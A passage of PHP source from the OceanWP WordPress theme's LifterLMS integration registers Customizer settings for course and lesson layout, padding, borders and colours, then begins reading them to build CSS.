=> 'select', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_course_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_llms_course_rl_layout', ) ) ); /** * Lesson Page Header */ $wp_customize->add_setting( 'ocean_llms_lesson_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_llms_lesson_heading', array( 'label' => esc_html__( 'Lesson', 'oceanwp' ), 'section' => 'ocean_llms_layout', 'priority' => 10, ) ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_llms_lesson_layout', array( 'default' => 'left-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_llms_lesson_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_lesson_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_llms_lesson_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_lesson_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_lesson_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_llms_lesson_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_llms_lesson_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_lesson_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_lesson_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_llms_lesson_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_llms_lesson_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_lesson_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_lesson_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_llms_lesson_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_llms_lesson_sidebar_order', array( 'default' => 'content-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_llms_lesson_sidebar_order', array( 'label' => esc_html__( 'Mobile Sidebar Order', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_llms_layout', 'settings' => 'ocean_llms_lesson_sidebar_order', 'priority' => 10, 'choices' => array( 'content-sidebar' => esc_html__( 'Content / Sidebar', 'oceanwp' ), 'sidebar-content' => esc_html__( 'Sidebar / Content', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_llms_lesson_rl_layout', ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_llms_styling' , array( 'title' => esc_html__( 'Advanced Styling', 'oceanwp' ), 'description' => esc_html__( 'For some options, you must save and refresh your live site to preview changes.', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Global Layout Header */ $wp_customize->add_setting( 'ocean_llms_archive_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_llms_archive_heading', array( 'label' => esc_html__( 'Courses/Memberships', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'priority' => 10, ) ) ); /** * Archive Padding */ $wp_customize->add_setting( 'ocean_llms_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_llms_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => array( 'desktop_top' => 'ocean_llms_top_padding', 'desktop_right' => 'ocean_llms_right_padding', 'desktop_bottom' => 'ocean_llms_bottom_padding', 'desktop_left' => 'ocean_llms_left_padding', 'tablet_top' => 'ocean_llms_tablet_top_padding', 'tablet_right' => 'ocean_llms_tablet_right_padding', 'tablet_bottom' => 'ocean_llms_tablet_bottom_padding', 'tablet_left' => 'ocean_llms_tablet_left_padding', 'mobile_top' => 'ocean_llms_mobile_top_padding', 'mobile_right' => 'ocean_llms_mobile_right_padding', 'mobile_bottom' => 'ocean_llms_mobile_bottom_padding', 'mobile_left' => 'ocean_llms_mobile_left_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Archive Image Margin */ $wp_customize->add_setting( 'ocean_llms_image_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_image_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_image_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_image_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_image_tablet_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_image_tablet_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_image_tablet_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_image_tablet_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_image_mobile_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_image_mobile_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_image_mobile_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_image_mobile_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_llms_image_margin', array( 'label' => esc_html__( 'Image Margin (px)', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => array( 'desktop_top' => 'ocean_llms_image_top_margin', 'desktop_right' => 'ocean_llms_image_right_margin', 'desktop_bottom' => 'ocean_llms_image_bottom_margin', 'desktop_left' => 'ocean_llms_image_left_margin', 'tablet_top' => 'ocean_llms_image_tablet_top_margin', 'tablet_right' => 'ocean_llms_image_tablet_right_margin', 'tablet_bottom' => 'ocean_llms_image_tablet_bottom_margin', 'tablet_left' => 'ocean_llms_image_tablet_left_margin', 'mobile_top' => 'ocean_llms_image_mobile_top_margin', 'mobile_right' => 'ocean_llms_image_mobile_right_margin', 'mobile_bottom' => 'ocean_llms_image_mobile_bottom_margin', 'mobile_left' => 'ocean_llms_image_mobile_left_margin', ), 'priority' => 10, 'input_attrs' => array( 'max' => 100, 'step' => 1, ), ) ) ); /** * Archive Border Width */ $wp_customize->add_setting( 'ocean_llms_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_llms_border_width', array( 'label' => esc_html__( 'Border Width (px)', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => array( 'desktop_top' => 'ocean_llms_top_border_width', 'desktop_right' => 'ocean_llms_right_border_width', 'desktop_bottom' => 'ocean_llms_bottom_border_width', 'desktop_left' => 'ocean_llms_left_border_width', 'tablet_top' => 'ocean_llms_tablet_top_border_width', 'tablet_right' => 'ocean_llms_tablet_right_border_width', 'tablet_bottom' => 'ocean_llms_tablet_bottom_border_width', 'tablet_left' => 'ocean_llms_tablet_left_border_width', 'mobile_top' => 'ocean_llms_mobile_top_border_width', 'mobile_right' => 'ocean_llms_mobile_right_border_width', 'mobile_bottom' => 'ocean_llms_mobile_bottom_border_width', 'mobile_left' => 'ocean_llms_mobile_left_border_width', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Archive Border Radius */ $wp_customize->add_setting( 'ocean_llms_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_tablet_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_llms_mobile_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_llms_border_radius', array( 'label' => esc_html__( 'Border Radius (px)', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => array( 'desktop_top' => 'ocean_llms_top_border_radius', 'desktop_right' => 'ocean_llms_right_border_radius', 'desktop_bottom' => 'ocean_llms_bottom_border_radius', 'desktop_left' => 'ocean_llms_left_border_radius', 'tablet_top' => 'ocean_llms_tablet_top_border_radius', 'tablet_right' => 'ocean_llms_tablet_right_border_radius', 'tablet_bottom' => 'ocean_llms_tablet_bottom_border_radius', 'tablet_left' => 'ocean_llms_tablet_left_border_radius', 'mobile_top' => 'ocean_llms_mobile_top_border_radius', 'mobile_right' => 'ocean_llms_mobile_right_border_radius', 'mobile_bottom' => 'ocean_llms_mobile_bottom_border_radius', 'mobile_left' => 'ocean_llms_mobile_left_border_radius', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), ) ) ); /** * Background Color */ $wp_customize->add_setting( 'ocean_llms_background_color', array( 'default' => '#f1f1f1', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_background_color', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_background_color', 'priority' => 10 ) ) ); /** * Border Color */ $wp_customize->add_setting( 'ocean_llms_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_border_color', array( 'label' => esc_html__( 'Border Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_border_color', 'priority' => 10 ) ) ); /** * Archive Entry Title Color */ $wp_customize->add_setting( 'ocean_llms_title_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_title_color', 'priority' => 10, ) ) ); /** * Archive Entry Title Color Hover */ $wp_customize->add_setting( 'ocean_llms_title_color_hover', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_title_color_hover', array( 'label' => esc_html__( 'Title Color: Hover', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_title_color_hover', 'priority' => 10, ) ) ); /** * Author Color */ $wp_customize->add_setting( 'ocean_llms_author_color', array( 'default' => '#444', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_author_color', array( 'label' => esc_html__( 'Author Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_author_color', 'priority' => 10 ) ) ); /** * Meta Color */ $wp_customize->add_setting( 'ocean_llms_meta_color', array( 'default' => '#444', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_meta_color', array( 'label' => esc_html__( 'Meta Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_meta_color', 'priority' => 10 ) ) ); /** * Course */ $wp_customize->add_setting( 'ocean_lllms_styling_course', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_lllms_styling_course', array( 'label' => esc_html__( 'Course', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'priority' => 10, ) ) ); /** * Course Title Color */ $wp_customize->add_setting( 'ocean_llms_course_title_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_title_color', 'priority' => 10, ) ) ); /** * Course Sub Title Color */ $wp_customize->add_setting( 'ocean_llms_course_subtitle_color', array( 'default' => '', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_subtitle_color', array( 'label' => esc_html__( 'Sub Title Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_subtitle_color', 'priority' => 10, ) ) ); /** * Course Meta Title Color */ $wp_customize->add_setting( 'ocean_llms_course_meta_title_color', array( 'default' => '#333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_meta_title_color', array( 'label' => esc_html__( 'Meta Title Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_meta_title_color', 'priority' => 10, ) ) ); /** * Course Meta Link Color */ $wp_customize->add_setting( 'ocean_llms_course_meta_link_color', array( 'default' => '#929292', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_meta_link_color', array( 'label' => esc_html__( 'Meta Link/SubTitle Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_meta_link_color', 'priority' => 10, ) ) ); /** * Course Meta Link Color Hover */ $wp_customize->add_setting( 'ocean_llms_course_meta_link_color_hover', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_meta_link_color_hover', array( 'label' => esc_html__( 'Meta Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_meta_link_color_hover', 'priority' => 10, ) ) ); /** * Author Color */ $wp_customize->add_setting( 'ocean_llms_course_author_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_author_color', array( 'label' => esc_html__( 'Author Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_author_color', 'priority' => 10 ) ) ); /** * Course Progress Bar Color */ $wp_customize->add_setting( 'ocean_llms_course_progress_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_progress_color', array( 'label' => esc_html__( 'Progress Bar Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_progress_color', 'priority' => 10, ) ) ); /** * Course Section Title Color */ $wp_customize->add_setting( 'ocean_llms_course_section_title_color', array( 'default' => '#fff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_section_title_color', array( 'label' => esc_html__( 'Section Title Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_section_title_color', 'priority' => 10, ) ) ); /** * Course Section Title Background */ $wp_customize->add_setting( 'ocean_llms_course_section_title_background', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_course_section_title_background', array( 'label' => esc_html__( 'Section Title Background', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_course_section_title_background', 'priority' => 10, ) ) ); /** * Lesson */ $wp_customize->add_setting( 'ocean_lllms_styling_lesson', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_lllms_styling_lesson', array( 'label' => esc_html__( 'Lesson', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'priority' => 10, ) ) ); /** * Lesson Title Color */ $wp_customize->add_setting( 'ocean_llms_lesson_title_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_lesson_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_lesson_title_color', 'priority' => 10, ) ) ); /** * Lesson Description Color */ $wp_customize->add_setting( 'ocean_llms_lesson_description_color', array( 'default' => '', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_llms_lesson_description_color', array( 'label' => esc_html__( 'Description Color', 'oceanwp' ), 'section' => 'ocean_llms_styling', 'settings' => 'ocean_llms_lesson_description_color', 'priority' => 10, ) ) ); } /** * Get CSS * * @since 1.0.0 */ public static function head_css( $output ) { // Styling vars $llms_top_padding = get_theme_mod( 'ocean_llms_top_padding' ); $llms_right_padding = get_theme_mod( 'ocean_llms_right_padding' ); $llms_bottom_padding = get_theme_mod( 'ocean_llms_bottom_padding' ); $llms_left_padding = get_theme_mod( 'ocean_llms_left_padding' ); $tablet_llms_top_padding = get_theme_mod( 'ocean_llms_tablet_top_padding' ); $tablet_llms_right_padding = get_theme_mod( 'ocean_llms_tablet_right_padding' ); $tablet_llms_bottom_padding = get_theme_mod( 'ocean_llms_tablet_bottom_padding' ); $tablet_llms_left_padding = get_theme_mod( 'ocean_llms_tablet_left_padding' ); $mobile_llms_top_padding = get_theme_mod( 'ocean_llms_mobile_top_padding' ); $mobile_llms_right_padding = get_theme_mod( 'ocean_llms_mobile_right_padding' ); $mobile_llms_bottom_padding = get_theme_mod( 'ocean_llms_mobile_bottom_padding' ); $mobile_llms_left_padding = get_theme_mod( 'ocean_llms_mobile_left_padding' ); $llms_image_top_margin = get_theme_mod( 'ocean_llms_image_top_margin' ); $llms_image_right_margin = get_theme_mod( 'ocean_llms_image_right_margin' ); $llms_image_bottom_margin = get_theme_mod( 'ocean_llms_image_bottom_margin' ); $llms_image_left_margin = get_theme_mod( 'ocean_llms_image_left_margin' ); $tablet_llms_image_top_margin = get_theme_mod( 'ocean_llms_image_tablet_top_margin' ); $tablet_llms_image_right_margin = get_theme_mod( 'ocean_llms_image_tablet_right_margin' ); $tablet_llms_image_bottom_margin = get_theme_mod( 'ocean_llms_image_tablet_bottom_margin' ); $tablet_llms_image_left_margin = get_theme_mod( 'ocean_llms_image_tablet_left_margin' ); $mobile_llms_image_top_margin = get_theme_mod( 'ocean_llms_image_mobile_top_margin' ); $mobile_llms_image_right_margin = get_theme_mod( 'ocean_llms_image_mobile_right_margin' ); $mobile_llms_image_bottom_margin = get_theme_mod( 'ocean_llms_image_mobile_bottom_margin' ); $mobile_llms_image_left_margin = get_theme_mod( 'ocean_llms_image_mobile_left_margin' ); $llms_top_border_width = get_theme_mod( 'ocean_llms_top_border_width' ); $llms_right_border_width = get_theme_mod( 'ocean_llms_right_border_width' ); $llms_bottom_border_width = get_theme_mod( 'ocean_llms_bottom_border_width' ); $llms_left_border_width = get_theme_mod( 'ocean_llms_left_border_width' ); $tablet_llms_top_border_width = get_theme_mod( 'ocean_llms_tablet_top_border_width' ); $tablet_llms_right_border_width = get_theme_mod( 'ocean_llms_tablet_right_border_width' ); $tablet_llms_bottom_border_width = get_theme_mod( 'ocean_llms_tablet_bottom_border_width' ); $tablet_llms_left_border_width = get_theme_mod( 'ocean_llms_tablet_left_border_width' ); $mobile_llms_top_border_width = get_theme_mod( 'ocean_llms_mobile_top_border_width' ); $mobile_llms_right_border_width = get_theme_mod( 'ocean_llms_mobile_right_border_width' ); $mobile_llms_bottom_border_width = get_theme_mod( 'ocean_llms_mobile_bottom_border_width' ); $mobile_llms_left_border_width = get_theme_mod( 'ocean_llms_mobile_left_border_width' ); $llms_top_border_radius = get_theme_mod( 'ocean_llms_top_border_radius' ); $llms_right_border_radius = get_theme_mod( 'ocean_llms_right_border_radius' ); $llms_bottom_border_radius = get_theme_mod( 'ocean_llms_bottom_border_radius' ); $llms_left_border_radius = get_theme_mod( 'ocean_llms_left_border_radius' ); $tablet_llms_top_border_radius = get_theme_mod( 'ocean_llms_tablet_top_border_radius' ); $tablet_llms_right_border_radius = get_theme_mod( 'ocean_llms_tablet_right_border_radius' ); $tablet_llms_bottom_border_radius = get_theme_mod( 'ocean_llms_tablet_bottom_border_radius' ); $tablet_llms_left_border_radius = get_theme_mod( 'ocean_llms_tablet_left_border_radius' ); $mobile_llms_top_border_radius = get_theme_mod( 'ocean_llms_mobile_top_border_radius' ); $mobile_llms_right_border_radius = get_theme_mod( 'ocean_llms_mobile_right_border_radius' ); $mobile_llms_bottom_border_radius = get_theme_mod( 'ocean_llms_mobile_bottom_border_radius' ); $mobile_llms_left_border_radius = get_theme_mod( 'ocean_llms_mobile_left_border_radius' ); $llms_background_color = get_theme_mod( 'ocean_llms_background_color', '#f1f1f1' ); $llms_border_color = get_theme_mod( 'ocean_llms_border_color' ); $llms_title_color = get_theme_mod( 'ocean_llms_title_color' ); $llms_title_color_hover = get_theme_mod( 'ocean_llms_title_color_hover' ); $author_color = get_theme_mod( 'ocean_llms_author_color', '#444' ); $meta_color = get_theme_mod( 'ocean_llms_meta_color', '#444' ); // Course $course_title_color = get_theme_mod( 'ocean_llms_course_title_color' ); $course_subtitle_color = get_theme_mod( 'ocean_llms_course_subtitle_color' ); $course_meta_title_color = get_theme_mod( 'ocean_llms_course_meta_title_color', '#333' ); $course_meta_link_color = get_theme_mod( 'ocean_llms_course_meta_link_color', '#929292' ); $course_meta_link_color_hover = get_theme_mod( 'ocean_llms_course_meta_link_color_hover', '' ); $course_author_color = get_theme_mod( 'ocean_llms_course_author_color' ); $course_progress_color = get_theme_mod( 'ocean_llms_course_progress_color' ); $course_section_title_color = get_theme_mod( 'ocean_llms_course_section_title_color' ); $course_section_title_background = get_theme_mod( 'ocean_llms_course_section_title_background' ); // Lesson $lesson_title_color = get_theme_mod( 